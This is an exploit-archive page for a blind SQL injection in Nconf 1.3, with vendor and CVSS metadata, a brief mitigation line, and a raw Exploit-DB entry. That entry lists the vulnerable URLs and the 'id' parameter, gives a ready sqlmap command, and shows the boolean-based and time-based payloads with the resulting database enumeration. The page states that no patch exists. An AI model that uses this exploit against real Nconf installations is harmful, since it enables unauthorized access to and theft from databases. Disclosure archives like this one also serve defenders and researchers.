header-logo
Suggest Exploit
vendor:
Nconf
by:
haidao
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Nconf
Affected Version From: nconf 1.3
Affected Version To: nconf 1.3
Patch Exists: NO
Related CWE: N/A
CPE: a:nconf:nconf:1.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux CentOS 6.3
2013

nconf detail.php,detail_admin_items.php blind injection

Two files, detail.php and detail_admin_items.php, are vulnerable to blind SQL injection. An attacker can use SQLMap to exploit the vulnerability by providing the URL and the parameter to inject. The back-end DBMS is MySQL 5.0.11 and the web application technology is PHP 5.3.3 and Apache 2.2.15.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, parameterized queries should be used to prevent SQL injection.
Source

Exploit-DB raw data:

# Exploit Title:  nconf  detail.php,detail_admin_items.php  blind injection
# Date: 2013/1/20
# Exploit Author: haidao,54haidao@gmail.com
# Software Link: http://sourceforge.net/projects/nconf/files/nconf/
# Version:    nconf 1.3
# Tested on: Server: Apache/2.2.15 (Centos)  PHP/5.3.3
 

i find two files we can inject : 
/nconf/detail.php?id=1
/nconf/detail_admin_items.php?type=attr&class=host&id=207

both the inject point is 'id',, u can inject it  by sqlmap,,of course u mast have a account to login.

inject  like this:
python sqlmap.py -u "http://192.168.2.103/nconf/detail.php?id=1"  -p id  --cookie="XXX"  --dbs

[*] starting at 23:45:22

[23:45:22] [INFO] resuming back-end DBMS 'mysql' 
[23:45:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 6429=6429

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
[23:45:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.3
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[23:45:22] [INFO] fetching database names
[23:45:22] [INFO] fetching number of databases
[23:45:22] [INFO] resumed: 3
[23:45:22] [INFO] resumed: information_schema
[23:45:22] [INFO] resumed: nconf
[23:45:22] [INFO] resumed: test
available databases [3]:
[*] information_schema
[*] nconf
[*] test